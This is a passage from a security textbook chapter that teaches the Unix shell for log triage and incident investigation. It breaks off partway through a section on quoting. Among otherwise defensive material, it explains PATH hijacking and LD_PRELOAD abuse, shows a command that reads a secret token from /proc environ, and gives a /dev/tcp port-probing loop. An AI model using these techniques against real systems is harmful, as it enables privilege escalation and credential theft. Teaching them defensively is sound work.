2. Background and Tools

Security work is overwhelmingly text processing and automation: logs to triage, outputs to correlate, binaries to poke at, and the same tedious task to repeat across a thousand hosts. This chapter builds the two toolsets that make that practical, the Unix shell with its text-processing ecosystem and Python, and it treats both as security tools rather than general programming topics. Everything in the later chapters assumes you can drive a terminal and write a script without friction.

<a id="21-introduction-to-the-unix-shell"></a>

2.1 Introduction to the Unix Shell

The shell is the primary interface for almost every security tool, every compromised host you will ever examine, and every server you will ever harden. This section builds shell fluency from the design philosophy that explains why the commands look the way they do.

Unix Philosophy and File System Layout

Theory

Most software is designed as an application: a large program that owns its data and presents a complete interface. Unix took the opposite approach. Write programs that do one thing well, that work together, and that handle text streams, because text is the universal interface between programs.

The payoff is combinatorial. A hundred small tools that compose give you far more capability than a hundred large ones that do not, because you can build the specific tool you need right now out of pieces. When you need "the top ten IP addresses that failed to authenticate in the last hour", no vendor shipped that tool, but you can assemble it in one line. That assembly ability is the single most useful skill in log triage.

The second structural idea is that everything is a file. Regular files, directories, devices, running processes, and network sockets are all accessed through the same file-like interface. Reading /proc/self/status uses the same mechanism as reading a text file, which means the same tools work on all of them.

The file system layout is standardized (the Filesystem Hierarchy Standard), and knowing it tells you where to look during an investigation without guessing.

Examples

  /                     root of the single unified tree
  ├── bin,  /usr/bin    user executables           ◄ what can be run
  ├── sbin, /usr/sbin   system administration binaries
  ├── etc               system configuration       ◄ passwd, shadow, ssh, cron
  │   ├── passwd        user accounts (world-readable, no passwords)
  │   ├── shadow        password hashes (root only)
  │   ├── crontab       scheduled jobs             ◄ common persistence spot
  │   └── ssh/          sshd config, host keys
  ├── home              user home directories      ◄ .bash_history, .ssh/
  ├── root              root's home directory
  ├── var
  │   ├── log           system and service logs    ◄ primary evidence source
  │   ├── spool/cron    per-user crontabs          ◄ persistence
  │   └── tmp           persists across reboot
  ├── tmp               world-writable scratch     ◄ common malware staging
  ├── proc              kernel + process interface (virtual, not on disk)
  │   ├── [pid]/cmdline how a process was invoked
  │   ├── [pid]/exe     symlink to the binary (survives deletion on disk)
  │   └── [pid]/fd/     open file descriptors
  ├── dev               device files (/dev/null, /dev/urandom, /dev/sda)
  ├── opt               optional/third-party software
  └── lib, /usr/lib     shared libraries           ◄ LD_PRELOAD hijack target

# The philosophy in one line: five single-purpose tools composed into a
# tool nobody shipped. This is the shape of nearly all log triage.
grep 'Failed password' /var/log/auth.log \
  | awk '{print $(NF-3)}' \
  | sort \
  | uniq -c \
  | sort -rn \
  | head

# "Everything is a file" in practice: recover a deleted running binary.
# The on-disk file is gone, but /proc still holds a usable reference.
ls -l /proc/1234/exe          # -> /usr/bin/something (deleted)
cp /proc/1234/exe /tmp/recovered-sample

Key Takeaways

• Small composable tools beat monolithic ones because they let you build the exact tool a situation needs.
• Text streams are the universal interface, which is why pipes work across unrelated programs.
• Everything is a file, so the same tools read regular files, devices, and kernel state.
• The standardized layout tells an investigator where configuration, logs, scheduled jobs, and temporary staging live.
• /proc exposes live process state and can recover binaries deleted from disk.

🧪 Practice

1. For each of /etc, /var/log, /tmp, and /proc, write one sentence on why it matters during an incident investigation.
2. Using /proc, determine the full command line, working directory, and open files of a process you choose on your own machine.
3. Build a one-line pipeline that reports the ten largest files under a directory tree, using at least three composed tools.
4. Interview-style: "A process is running but its binary has been deleted from disk. How do you obtain a copy for analysis?" Hint: the kernel keeps the inode alive while the file is open; look at what the process's file-descriptor directory exposes.

Shell Invocation, Prompts, and Environment Variables

Theory

The shell is just a program that reads commands and runs them, but how it was started changes which configuration files it reads, and that difference causes a large share of "it works when I type it, not from cron" confusion.

Two independent properties matter. A shell is login or non-login (did you authenticate through it?), and interactive or non-interactive (is a human typing?). An SSH session is login and interactive. A script run by cron is non-login and non-interactive, which is why it reads almost no configuration and has a minimal PATH.

The environment is a set of key-value strings that every process inherits from its parent. This inheritance is the mechanism behind a surprising amount of security behaviour. PATH determines which directories are searched for commands, so a writable directory early in PATH is a privilege escalation primitive: place a malicious ls there and wait for an administrator to run it. LD_PRELOAD forces a shared library to load before all others, which is a legitimate debugging feature and a classic rootkit technique. IFS controls word splitting. This is exactly why sudo sanitizes the environment and why setuid binaries ignore LD_PRELOAD.

Understand the difference between a shell variable (local to the shell) and an environment variable (exported, inherited by children). Secrets placed in environment variables are visible to any process that can read /proc/[pid]/environ for that user, and often leak into logs and crash dumps.

Examples

  Shell type          Reads                                   Typical source
  ──────────────────────────────────────────────────────────────────────────
  login interactive   /etc/profile, ~/.bash_profile,          SSH session,
                      ~/.profile                              console login
  non-login           ~/.bashrc                               new terminal tab
    interactive
  non-interactive     $BASH_ENV only (usually unset)          cron, scripts,
                                                              CI jobs
  ──────────────────────────────────────────────────────────────────────────
  Consequence: cron jobs do NOT see your aliases, functions, or custom PATH.
  Always use absolute paths in cron and set PATH explicitly in scripts.

# Shell variable vs environment variable
NAME="local"            # shell variable: NOT inherited by child processes
export TOKEN="secret"   # environment variable: inherited by every child

bash -c 'echo "$NAME"'  # prints nothing: the child never received it
bash -c 'echo "$TOKEN"' # prints secret: the child inherited it

# Why that matters: any process running as this user can read the token.
cat /proc/$$/environ | tr '\0' '\n' | grep TOKEN

# PATH ordering is a trust decision. The FIRST match wins.
echo "$PATH"
# /home/user/bin:/usr/local/bin:/usr/bin:/bin
#  ^^^^^^^^^^^^^^ writable by the user and searched BEFORE system dirs.
#  A file named "ls" here runs instead of /bin/ls for this user.

type -a ls          # show every match in PATH order, not just the winner
command -v curl     # resolve what would actually execute

# Defensive scripting: set a known-good PATH rather than inheriting one.
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
export PATH

Key Takeaways

• Login versus non-login and interactive versus non-interactive determine which config files load; cron reads almost none.
• Environment variables are inherited by child processes; shell variables are not unless exported.
• PATH order is a trust decision, and a writable directory early in PATH is a privilege escalation vector.
• LD_PRELOAD and similar loader variables are legitimate features and common hijack techniques, which is why privileged contexts strip them.
• Secrets in environment variables are readable through /proc/[pid]/environ and leak into logs; prefer files with restrictive permissions or a secrets manager.
• Scripts should set PATH explicitly rather than trusting an inherited one.

🧪 Practice

1. Print your PATH and identify every directory in it that your user can write to. Explain the risk of each.
2. Write a script that behaves differently under cron than when run interactively, then fix it so it behaves identically.
3. Show, using /proc, that a secret exported in one terminal is visible to another process running as your user.
4. Interview-style: "Why does sudo reset most environment variables by default?" Hint: think about what a caller fully controls before the privileged program starts, and which variables influence how a program loads libraries or finds executables.

Essential Commands: ls, cd, cp, mv, rm, find

Theory

These are the commands you will type thousands of times. The goal is not memorizing flags but knowing which questions each answers, and knowing find deeply, because find is the one that turns "search the file system" into a precise query.

ls lists directory entries, and its security-relevant flags expose what the defaults hide: -a shows dotfiles (where configuration and persistence live), -l shows permissions and ownership, and -i shows inode numbers (useful for spotting hard links).

cp, mv, and rm modify state, and in forensic contexts they destroy evidence. cp without -p resets timestamps; mv within a file system only changes a directory entry, while across file systems it copies then deletes; rm unlinks a name rather than wiping data, which is why deleted data is often recoverable and why shred exists (and why it is unreliable on journaling and copy-on-write file systems and on SSDs).

find is the workhorse. It walks a tree and evaluates expressions against each entry: by name, type, size, permission, ownership, and time. Its -exec action makes it a general-purpose batch processor. In security work it answers the high-value questions directly: which files are setuid, which are world-writable, which changed in the last day.

Note the three timestamps and what they mean, because attackers manipulate them. atime is last access, mtime is last content modification, ctime is last inode change (permissions, ownership, links). touch can backdate mtime and atime trivially, but ctime updates as a side effect and is much harder to forge without raw device access, which makes ctime/mtime mismatches an investigative signal.

Examples

# Permission and ownership audit: the highest-value find queries
find / -perm -4000 -type f 2>/dev/null          # setuid: runs as file owner
find / -perm -2000 -type f 2>/dev/null          # setgid
find / -perm -0002 -type f -not -path '/proc/*' 2>/dev/null   # world-writable
find / -nouser -o -nogroup 2>/dev/null          # orphaned: deleted-user leftovers

# 2>/dev/null discards the permission-denied noise from unreadable dirs
# so that real results are not buried.

# Time-based triage: what changed around the suspected intrusion?
find /etc -mtime -1 -type f                     # modified in the last 24h
find /var/www -newermt '2026-10-01 14:00' \
              ! -newermt '2026-10-01 16:00'     # changed inside a window
find /home -name '.*' -mtime -7                 # recently touched dotfiles

# Timestamp mismatch: content date far older than inode-change date is a
# classic sign of timestomping via touch.
find /var/www -type f -printf '%TY-%Tm-%Td %CY-%Cm-%Cd %p\n' | awk '$1 != $2'

# -exec forms: understand the difference, it matters for correctness and speed
find . -name '*.log' -exec gzip {} \;      # one gzip process PER file (slow)
find . -name '*.log' -exec gzip {} +       # batches args (fast, fewer procs)

# Filenames can contain spaces, newlines, and quotes. Null-delimited output
# is the only safe way to pass them between tools.
find . -type f -print0 | xargs -0 sha256sum

Timestamp	Updated by	Forged by touch?	Investigative use
atime (access)	Reading the file	Yes	Often disabled for performance (relatime)
mtime (modify)	Changing contents	Yes	"When was this backdoor written?"
ctime (change)	Permissions, owner, links, rename	Not directly	Mismatch with mtime suggests tampering

Key Takeaways

• find is a query language for the file system; learn it rather than memorizing one-off commands.
• -perm -4000 and -perm -0002 locate setuid binaries and world-writable files, two core privilege escalation surfaces.
• rm removes a name, not the data, so deletion is not destruction.
• mtime and atime are trivially forged; ctime is not, so disagreement between them is an investigative lead.
• Use -print0 with xargs -0 so that unusual filenames cannot break or hijack a pipeline.
• -exec ... + batches arguments and is dramatically faster than -exec ... \;.

🧪 Practice

1. List every setuid binary on a system you control and research what two of them are for.
2. Write a find command that locates all files in /var/www modified in the last two hours and owned by the web server user.
3. Create a file, backdate its mtime with touch, then show that ctime reveals the manipulation.
4. Interview-style: "Why is find . -name '*.txt' | xargs rm dangerous?" Hint: consider what happens to a file named with a space or a newline, and what the safe null-delimited alternative is.

File Permissions, Ownership, and chmod/chown

Theory

Unix permissions are the oldest and most widely deployed access control system you will meet, and most Linux privilege escalation findings are permission mistakes rather than exploits.

Every file has an owner, a group, and nine permission bits: read, write, and execute, for user, group, and other. Their meaning differs for directories in a way that surprises people. On a file, r reads contents, w modifies contents, x executes. On a directory, r lists names, w creates and deletes entries, and x traverses into it. The consequence is that write permission on a directory lets you delete files inside it that you do not own and cannot read.

Three special bits matter most for security. setuid (4000) makes an executable run with the file owner's privileges rather than the caller's, which is how passwd lets an unprivileged user modify /etc/shadow. It is also why any flaw in a setuid-root binary is a direct path to root. setgid (2000) does the same for groups, and on a directory causes new files to inherit the directory's group. The sticky bit (1000) on a world-writable directory restricts deletion to the file's owner, which is what makes /tmp usable without everyone being able to delete each other's files.

umask sets the permissions removed from defaults on creation. A umask of 022 produces 644 files and 755 directories. A umask of 077 produces private files, which is the right default for anything handling sensitive data.

Examples

   -rwsr-xr-x  1 root root  68208 Mar 14 2026 /usr/bin/passwd
   │└┬┘└┬┘└┬┘     │    │
   │ │  │  │      │    └── group
   │ │  │  │      └─────── owner (setuid means it RUNS as this user: root)
   │ │  │  └── other: r-x
   │ │  └───── group: r-x
   │ └──────── user:  rws   ◄ 's' replaces 'x': setuid bit is set
   └────────── type: '-' file, 'd' dir, 'l' symlink, 's' socket

   Numeric: 4755 = setuid(4) + rwx(7) user + r-x(5) group + r-x(5) other

# Reading and setting permissions
stat -c '%A %a %U:%G %n' /etc/shadow      # -rw-r----- 640 root:shadow

chmod 640 config.yml                       # numeric: exact bits
chmod u+rw,go-rwx secrets.env              # symbolic: relative change
chmod 600 ~/.ssh/id_ed25519                # SSH refuses loose key permissions

chown www-data:www-data /var/www/uploads   # change owner and group
chmod 1777 /tmp                            # sticky + world-writable
chmod g+s /srv/shared                      # setgid dir: inherit group

# The directory-write trap: you can delete a file you cannot read or write.
mkdir -p /tmp/demo && chmod 777 /tmp/demo
echo 'secret' | sudo tee /tmp/demo/root-owned.txt >/dev/null
sudo chmod 600 /tmp/demo/root-owned.txt    # unreadable by you

rm -f /tmp/demo/root-owned.txt             # SUCCEEDS: deletion is a
                                           # directory operation, not a
                                           # file operation
# The sticky bit is what prevents exactly this in /tmp.

Bit	Octal	On a file	On a directory
setuid	4000	Runs as file owner	Ignored on Linux
setgid	2000	Runs as file group	New entries inherit the directory's group
sticky	1000	(no modern effect)	Only the owner may delete entries

Key Takeaways

• Directory permissions control the namespace: write on a directory allows deleting files you cannot read.
• setuid binaries run with the owner's privileges, making every bug in them a potential privilege escalation.
• Audit for unexpected setuid files; a setuid copy of a shell or an interpreter is a backdoor.
• The sticky bit makes shared writable directories such as /tmp safe from cross-deletion.
• umask 077 is the correct default for processes handling sensitive files.
• Tools such as SSH enforce permission checks and will refuse to use overly permissive key files.

🧪 Practice

1. Explain in permission terms why a user with write access to /etc would effectively own the system, even without write access to any file in it.
2. Create a shared group directory where all new files are group-owned and group-writable, and verify the inheritance works.
3. Set umask 077 in a shell, create a file, and explain the resulting mode.
4. Interview-style: "You find /usr/local/bin/backup is setuid root and world-writable. Why is that critical?" Hint: separate the two problems; one grants root at execution, the other lets anyone decide what gets executed.

Standard Input, Output, and Error Streams

Theory

Every Unix process starts with three open file descriptors, and understanding them is the prerequisite for redirection and pipes.

stdin (0) is where input comes from, by default the keyboard. stdout (1) is normal output, by default the terminal. stderr (2) is diagnostic output, also the terminal by default but kept deliberately separate.

Why two output streams? Because a program's output is usually destined for another program, while its errors are destined for a human. If find wrote its "permission denied" messages to stdout, they would be piped into the next command and corrupt the data. Keeping them separate means find / -name x 2>/dev/null | wc -l counts only real results.

The convention is therefore: data to stdout, diagnostics to stderr. A tool that writes progress messages or warnings to stdout is badly behaved and will break pipelines. This matters when you write your own security tooling: anything a human needs to see but a machine does not should go to stderr, which also keeps the tool usable in automation.

The exit status is the third channel. A command returns 0 for success and non-zero for failure, which is what &&, ||, and if test. grep returns 1 when it finds nothing, which is a feature: it lets you branch on whether a pattern was present.

Examples

         ┌──────────────────────────────────┐
  stdin  │                                  │  stdout
   (0) ──┼──►         PROCESS            ───┼──► (1)  data, for machines
         │                                  │
         │                               ───┼──► (2)  stderr, for humans
         └──────────────────────────────────┘
                        │
                        └──► exit status (0 = success)

  All three are independently redirectable, which is what makes the
  shell a composition language rather than just a command launcher.

# Separating the streams
find /etc -name '*.conf' > results.txt 2> errors.txt   # split them
find /etc -name '*.conf' 2>/dev/null                   # discard diagnostics
find /etc -name '*.conf' > all.txt 2>&1                # merge into one file
find /etc -name '*.conf' &> all.txt                    # bash shorthand, same

# ORDER MATTERS. This does NOT merge both into the file:
cmd 2>&1 > out.txt    # stderr goes to the TERMINAL (where stdout pointed
                      # at the time), stdout goes to the file.
cmd > out.txt 2>&1    # correct: stdout to file first, then stderr follows it.

# Exit status as a control channel
if grep -q 'Failed password' /var/log/auth.log; then
    echo "auth failures present"      # grep found something: status 0
else
    echo "clean"                      # grep found nothing: status 1
fi

echo "$?"                              # status of the last command

# Well-behaved tooling: data out, diagnostics to stderr, meaningful status
scan_host() {
    echo "scanning $1..." >&2          # progress note: NOT part of the data
    printf '%s\topen\n' "$1"           # the actual result: stdout
    return 0
}

Key Takeaways

• Three streams exist so that data and diagnostics can be routed independently.
• Write data to stdout and messages to stderr; doing otherwise breaks pipelines.
• 2>&1 means "send stderr wherever stdout currently points", so ordering relative to > changes the result.
• Exit status is a separate channel used by &&, ||, and if; 0 means success.
• grep returning non-zero on no-match is deliberate and useful for conditionals.
• Discarding stderr with 2>/dev/null cleans up output but can hide real failures, so use it deliberately.

🧪 Practice

1. Run a command that produces both output and errors, and capture each into a separate file.
2. Demonstrate the difference between cmd > f 2>&1 and cmd 2>&1 > f, explaining the result.
3. Write a function that prints a result to stdout, a progress message to stderr, and returns a non-zero status on failure. Verify all three behave correctly in a pipeline.
4. Interview-style: "Why does find / -name foo 2>/dev/null | wc -l give a different count than without the redirection?" Hint: ask which stream the permission-denied messages use, and which stream wc actually receives.

Redirection, Pipes, and Command Composition

Theory

Redirection connects a stream to a file; a pipe connects one process's stdout directly to another's stdin. The pipe is the mechanism that turns the Unix philosophy from an idea into a working system, because it lets independently written programs cooperate without knowing about each other.

Importantly, a pipeline runs its stages concurrently, not sequentially. grep huge.log | head -5 does not read the whole file first; head exits after five lines, grep receives SIGPIPE, and the pipeline terminates early. This is why pipelines handle enormous files in constant memory, which is exactly what you need for multi-gigabyte logs.

A critical subtlety: by default a pipeline's exit status is that of the last command only. grep pattern file | sort reports success even if grep failed, which silently hides errors in scripts. set -o pipefail changes this so the pipeline fails if any stage fails.

Related composition operators: && runs the next command only on success, || only on failure, ; runs unconditionally. Process substitution <(cmd) presents a command's output as a filename, which lets you feed two live streams into a tool such as diff that expects files. Here-documents and here-strings feed literal text to stdin without a temporary file.

Examples

   Pipeline: concurrent processes joined by kernel buffers

   ┌────────┐  pipe  ┌────────┐  pipe  ┌────────┐  pipe  ┌────────┐
   │  grep  │ ─────► │  awk   │ ─────► │  sort  │ ─────► │ uniq -c│
   └────────┘        └────────┘        └────────┘        └────────┘
    stdout→stdin      stdout→stdin      stdout→stdin       stdout→terminal

   All four run AT THE SAME TIME, streaming records through.
   Memory use stays flat regardless of input size -- except for `sort`,
   which must buffer (it spills to disk for large inputs).

# Redirection forms
cmd  > file      # stdout to file, truncating
cmd >> file      # stdout to file, appending
cmd  < file      # file as stdin
cmd <<< "text"   # here-string: literal text as stdin

cmd << 'EOF'     # here-document; quoted 'EOF' disables variable expansion
literal $text stays literal
EOF

# Pipeline failure is silent by default -- a classic scripting bug
set -euo pipefail    # -e exit on error, -u error on unset vars,
                     # -o pipefail propagate failure from ANY pipeline stage

# Without pipefail this "succeeds" even when the file does not exist:
grep 'root' /nonexistent/file | sort | head
echo "status: $?"

# Process substitution: compare two live outputs without temp files
diff <(sort hosts-monday.txt) <(sort hosts-friday.txt)

# Compare the open ports of two hosts directly
diff <(ssh web01 'ss -tlnp | sort') <(ssh web02 'ss -tlnp | sort')

# tee: branch a stream to a file AND onward down the pipe
grep 'ERROR' app.log | tee errors.txt | wc -l

Key Takeaways

• Pipes run stages concurrently and stream records, so memory use stays flat on huge inputs.
• A pipeline's exit status is the last stage's unless set -o pipefail is enabled, which hides failures in scripts.
• set -euo pipefail is the standard defensive preamble for any non-trivial shell script.
• Process substitution <(cmd) supplies command output where a filename is expected.
• tee splits a stream so you can save intermediate results while continuing the pipeline.
• Early-exiting consumers such as head terminate upstream producers through SIGPIPE, which is why they are efficient.

🧪 Practice

1. Write a pipeline that extracts the ten most frequent user agents from a web access log.
2. Demonstrate that set -o pipefail changes the exit status of a failing pipeline, with a concrete example.
3. Use process substitution to compare the installed package lists of two machines (or two files standing in for them).
4. Interview-style: "How does grep pattern 50GB.log | head -1 return almost instantly?" Hint: think about concurrency, about what head does after its first line, and what signal the upstream process receives as a result.

Process Control, Signals, and Job Management

Theory

A process is a running program with its own memory, file descriptors, and identity (PID). Processes form a tree: every process has a parent, and when a parent dies, orphans are re-parented to init/systemd. This tree is central to investigation, because the question is rarely "what is running?" but "what started it?". A web server spawning a shell is unremarkable in isolation and alarming as a parent-child relationship.

Signals are asynchronous notifications sent to processes. The ones that matter: SIGTERM (15) politely requests termination and can be handled, allowing cleanup; SIGKILL (9) terminates immediately and cannot be caught or ignored; SIGHUP (1) traditionally means the terminal closed, and many daemons repurpose it to mean "reload configuration"; SIGINT (2) is Ctrl-C; SIGSTOP/SIGCONT suspend and resume.

The practical rule is to try SIGTERM first. Reaching for kill -9 immediately prevents the process from flushing buffers, removing lock files, or closing connections cleanly, and it is a common cause of corrupted state. A process stuck in uninterruptible sleep (state D) will not die even from SIGKILL, because it is blocked in the kernel.

Job control manages processes attached to your shell: & backgrounds, Ctrl-Z suspends, jobs, fg, and bg manipulate. The crucial limitation is that backgrounded jobs die when the shell exits. For long-running work on a remote host, use nohup, disown, or a terminal multiplexer such as tmux or screen, which is standard practice for anything running over an unreliable SSH link.

Examples

# Process inspection: the parent relationship is the investigative signal
ps -ef --forest                     # full tree
ps -eo pid,ppid,user,etime,cmd      # explicit fields incl. elapsed time
pstree -p 1234                      # tree rooted at one PID

# Alarming parentage: a web server should not be a shell's parent
#   nginx(812)───sh(9001)───curl(9002)

# Per-process detail via /proc
cat /proc/1234/cmdline | tr '\0' ' '   # how it was invoked (null-separated)
ls -l /proc/1234/cwd                   # working directory
ls -l /proc/1234/exe                   # the binary (even if deleted)
ls -l /proc/1234/fd/                   # open files and sockets
cat /proc/1234/status | grep -E 'Uid|Gid|PPid'

# Signals: escalate, do not start at the top
kill -TERM 1234        # or: kill 1234     polite, allows cleanup
kill -HUP  1234        # many daemons reload config without restarting
kill -KILL 1234        # last resort: no cleanup, possible corrupt state

kill -l                # list all signal names
pkill -f 'python.*worker'    # match on the full command line
pgrep -a sshd                # find PIDs with their command lines

# Survive a disconnect
nohup ./long-scan.sh > scan.log 2>&1 &
disown                 # detach from the shell's job table
tmux new -s engagement # better: a session you can reattach to

Signal	Number	Catchable	Typical use
SIGHUP	1	Yes	Terminal closed; by convention, reload config
SIGINT	2	Yes	Ctrl-C, interactive interrupt
SIGTERM	15	Yes	Default kill; graceful shutdown
SIGKILL	9	No	Forced termination, no cleanup
SIGSTOP	19	No	Suspend process

Key Takeaways

• The process tree matters more than the process list; unusual parent-child pairs are a primary detection signal.
• Send SIGTERM before SIGKILL so the process can clean up; kill -9 risks corrupt state and lost buffers.
• SIGKILL and SIGSTOP cannot be caught; a process in uninterruptible sleep resists even SIGKILL.
• Many daemons treat SIGHUP as "reload configuration" rather than "terminate".
• Background jobs die with the shell; use nohup, disown, or tmux for long-running remote work.
• /proc/[pid]/ exposes command line, working directory, binary, and open file descriptors for live triage.

🧪 Practice

1. Start a long-running process, suspend it, background it, and bring it back to the foreground using job control.
2. Use /proc to determine the working directory and open network sockets of a running network service.
3. Write a signal handler in a shell script using trap that removes a temporary file on SIGTERM and SIGINT.
4. Interview-style: "A process will not die even with kill -9. What is happening?" Hint: check the process state column; a process blocked in a kernel operation cannot be scheduled to handle or be terminated by anything until that operation returns.

Text Utilities: cat, cut, sort, uniq, wc, tr

Theory

These are the building blocks that pipelines are made of. Each does one transformation on a text stream, and their value is entirely in combination.

cat concatenates and prints. It is frequently misused: cat file | grep x spawns an unnecessary process when grep x file does the same thing. The useful variants are -A to reveal invisible characters (trailing whitespace, tabs, CRLF line endings) which matters when parsing produces mysterious failures.

cut extracts fields by delimiter or character position. It is fast and strictly positional, which means it breaks on variable whitespace; awk handles that case.

sort orders lines, with -n for numeric (essential, since lexical sorting puts "10" before "9"), -r for reverse, -u for unique, and -k to sort by a specific field. uniq collapses adjacent duplicates, which is why it is almost always preceded by sort. uniq -c produces counts, and the sort | uniq -c | sort -rn idiom is the single most used sequence in log analysis.

wc counts lines, words, and bytes. tr translates or deletes characters, handling tasks such as case folding, squeezing repeated whitespace, and converting null-delimited to newline-delimited data.

Examples

# The core counting idiom, worth internalizing
cut -d' ' -f1 access.log | sort | uniq -c | sort -rn | head -20
#      │       │           │        │         │          │
#      │       │           │        │         │          └ top 20
#      │       │           │        │         └ order by count, descending
#      │       │           │        └ collapse duplicates, prefix count
#      │       │           └ uniq only sees ADJACENT duplicates, so sort first
#      │       └ first field = client IP
#      └ space-delimited

# cut: positional extraction from structured files
cut -d: -f1,3 /etc/passwd            # username and UID
cut -d: -f1 /etc/passwd | sort       # all usernames
cut -c1-8 log.txt                    # fixed-width columns by character

# cut's limitation: it cannot handle runs of whitespace as one delimiter.
ps aux | cut -d' ' -f2               # unreliable: columns are space-padded
ps aux | awk '{print $2}'            # correct: awk splits on whitespace runs

# sort subtleties that cause real bugs
sort file.txt                        # lexical: "10" sorts before "9"
sort -n file.txt                     # numeric: correct ordering
sort -h                              # human-readable sizes (1K, 2M, 3G)
sort -t: -k3 -n /etc/passwd          # by 3rd colon-field, numerically (UID)
sort -u                              # sort and deduplicate in one pass

# uniq modes
uniq -c    # prefix each line with its count
uniq -d    # show ONLY duplicated lines
uniq -u    # show ONLY lines that appeared exactly once

# tr: character-level transformation
tr 'A-Z' 'a-z' < file                # lowercase everything
tr -d '\r' < dos.txt > unix.txt      # strip CR from CRLF line endings
tr -s ' '                            # squeeze repeated spaces into one
tr '\0' '\n' < /proc/1234/environ    # null-delimited to line-delimited
tr -cd '[:print:]\n' < binary.dat    # keep only printable chars (crude strings)

# Reveal invisible characters when parsing mysteriously fails
cat -A suspicious.txt | head         # shows tabs as ^I, line ends as $

Key Takeaways

• sort | uniq -c | sort -rn is the fundamental frequency-analysis idiom for log triage.
• uniq only collapses adjacent duplicates, so it almost always needs sort first.
• Use sort -n for numbers; lexical sorting silently produces wrong rankings.
• cut is positional and fast but breaks on variable whitespace, where awk is the right tool.
• tr -d '\r' fixes the CRLF problems that cause confusing parse failures on files from Windows.
• cat -A exposes invisible characters and is the fastest way to diagnose "this should match but does not".

🧪 Practice

1. From /etc/passwd, produce a list of usernames with UID 1000 or above, sorted by UID.
2. Given a web log, report the ten most requested URLs with their counts.
3. Explain why sort | uniq -c and uniq -c | sort give different results, with a worked example.
4. Interview-style: "Your pipeline produces zero matches but you can see the string in the file. What do you check?" Hint: look for invisible characters, line-ending differences, and encoding; a tool that reveals non-printing characters answers this in seconds.

Shell Scripting: Variables, Conditionals, Loops

Theory

A script is the point where repeatable work becomes reliable work. The shell is excellent for orchestrating other programs and poor at everything else; the practical rule is that once a script needs data structures, arithmetic, or error handling beyond the trivial, it should be Python instead.

Shell scripting has unusual failure modes because the language was designed for interactive convenience rather than correctness. Three defaults are dangerous. Commands that fail do not stop the script. Unset variables expand to the empty string, so a typo in a variable name inside rm -rf "$DIR/" becomes rm -rf /. And pipeline failures are invisible. The standard preamble set -euo pipefail fixes all three and should start every script you write.

Variable expansion must be quoted. $var undergoes word splitting and globbing; "$var" does not. Almost every shell script bug involving spaces in filenames traces to a missing pair of quotes.

Conditionals use [[ ]] in bash (safer, no word splitting, supports pattern matching and =~ regex) rather than the older [ ]. Loops iterate over lists, and the key trap is parsing the output of ls or iterating over command output without handling whitespace, which is why while IFS= read -r line is the correct idiom for reading lines.

Examples

#!/usr/bin/env bash
# The defensive preamble: use this in every script.
set -euo pipefail        # -e: exit on error
                         # -u: unset variable is an error, not empty string
                         # -o pipefail: a failing pipeline stage fails the script
IFS=$'\n\t'              # safer word splitting: no splitting on spaces

readonly SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
readonly TARGET_FILE="${1:?usage: $0 <target-file>}"   # required arg or exit

# Variables and parameter expansion
name="web01"
count=5
readonly MAX_RETRIES=3                 # immutable

echo "${name}_backup"                  # braces delimit the name
echo "${UNSET_VAR:-default}"           # default if unset or empty
echo "${UNSET_VAR:?must be set}"       # error out if unset
echo "${#name}"                        # length: 5
echo "${name/web/app}"                 # substitution: app01
echo "${PATH##*/}"                     # strip longest leading match

# Arithmetic needs (( )) -- the shell is string-oriented by default
(( count = count + 1 ))
(( count > 3 )) && echo "exceeded"

# Conditionals: prefer [[ ]] in bash
if [[ -f "$file" && -r "$file" ]]; then       # exists and is readable
    echo "readable file"
elif [[ -d "$file" ]]; then
    echo "directory"
fi

[[ "$host" =~ ^10\.0\.[0-9]{1,3}\.[0-9]{1,3}$ ]] && echo "internal address"
[[ "$name" == web* ]] && echo "web host"      # glob pattern match

# Common file tests: -f file  -d dir  -L symlink  -r readable
#                    -w writable  -x executable  -s non-empty  -e exists

# Loops: the correct line-reading idiom
while IFS= read -r line; do        # IFS= preserves leading/trailing whitespace
    printf 'checking: %s\n' "$line"   # -r prevents backslash interpretation
done < hosts.txt

# Null-delimited for filenames that may contain spaces or newlines
while IFS= read -r -d '' file; do
    sha256sum "$file"
done < <(find /var/www -type f -print0)

for port in 22 80 443; do
    timeout 1 bash -c "echo > /dev/tcp/$HOST/$port" 2>/dev/null \
      && echo "$port open"
done

# NEVER do this: ls output cannot be parsed safely
# for f in $(ls); do ... done
for f in *; do [[ -e "$f" ]] || continue; echo "$f"; done    # correct

Key Takeaways

• Start every script with set -euo pipefail; the shell's defaults hide errors by design.
• Always quote variable expansions; unquoted $var undergoes word splitting and globbing.
• Use [[ ]] over [ ] in bash for safer comparisons and regex support.
• while IFS= read -r line is the only correct way to read lines; parsing ls output is never safe.
• ${VAR:?message} enforces required parameters and fails loudly rather than silently.
• When a script needs real data structures or error handling, rewrite it in Python.

🧪 Practice

1. Write a script that takes a file of hostnames and reports which resolve in DNS, using the defensive preamble.
2. Demonstrate a bug caused by an unquoted variable containing a space, then fix it.
3. Show how set -u would have caught a variable typo that otherwise results in a destructive command.
4. Interview-style: "Why is rm -rf "$DIR"/* dangerous without set -u?" Hint: consider what the expansion becomes when the variable name is misspelled or never assigned, and what path the command then operates on.

Quoting, Globbing, and Command Substitution

Theory

The shell rewrites your command line before executing it, and nearly every shell bug and shell injection vulnerability comes from not knowing exactly what that rewriting does. There is a defined expansion order: brace expansion, tilde expansion, parameter and variable expansion, command substitution, arithmetic expansion, word splitting, then filename expansion (globbing). Quote removal happens last.

The three quoting contexts behave differently. Single quotes '...' are completely literal; nothing is expanded. Double quotes "..." allow variable expansion and command substitution but suppress word splitting and globbing. No quotes allows everything, including splitting the value into multiple arguments and expanding any glob characters it contains.

That last point is the heart of it. If $file contains my report.txt, then rm $file becomes two arguments and deletes two wrong files. If it contains *, unquoted expansion turns it into every filename in the directory.

Globbing is performed by the shell, not by the command. ls *.txt passes an already-expanded list of filenames to ls; ls never sees the asterisk. This explains why grep pattern * behaves oddly in an empty directory and why quoting a glob passes it through literally for a program to interpret itself.

Command substitution $(cmd) replaces the expression with the command's output. Prefer $(...) over backticks: it nests cleanly and is easier to read.

Examples

# The three quoting contexts
name="world"
files="a.txt b.txt"

echo 'Hello $name'      # Hello $name          -- fully literal
echo "Hello $name"      # Hello world          -- expanded, not split
echo  Hello $name       # Hello world          -- expanded AND split

rm  $files              # TWO arguments: removes a.txt and b.txt
rm "$files"             # ONE argument: a file literally named "a.txt b.txt"

# Why unquoted expansion is dangerous
